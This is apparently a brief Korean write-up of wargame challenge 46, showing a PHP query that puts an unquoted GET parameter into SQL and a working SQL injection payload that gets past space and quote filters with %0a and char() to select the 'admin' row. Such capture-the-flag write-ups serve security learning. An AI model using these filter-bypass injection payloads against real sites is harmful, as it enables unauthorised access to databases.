46번

쿼리

select id,cash from members where lv=$_GET[lv]

lv=1만 반응한다.

곧

+--------+-----+---+

|      id    | cash  |  lv |

+--------+-----+---+

| zzibong  | 10000 |  1  |

+--------+-----+---+

id를 admin으로 만들어야하므로

?lv=0 or id='admin'

공백은 %0a로, 쿼터는 char함수로 우회해준다. (0x도 필터링됨)

?lv=0%0aor%0aid=char(97,100,109,105,110)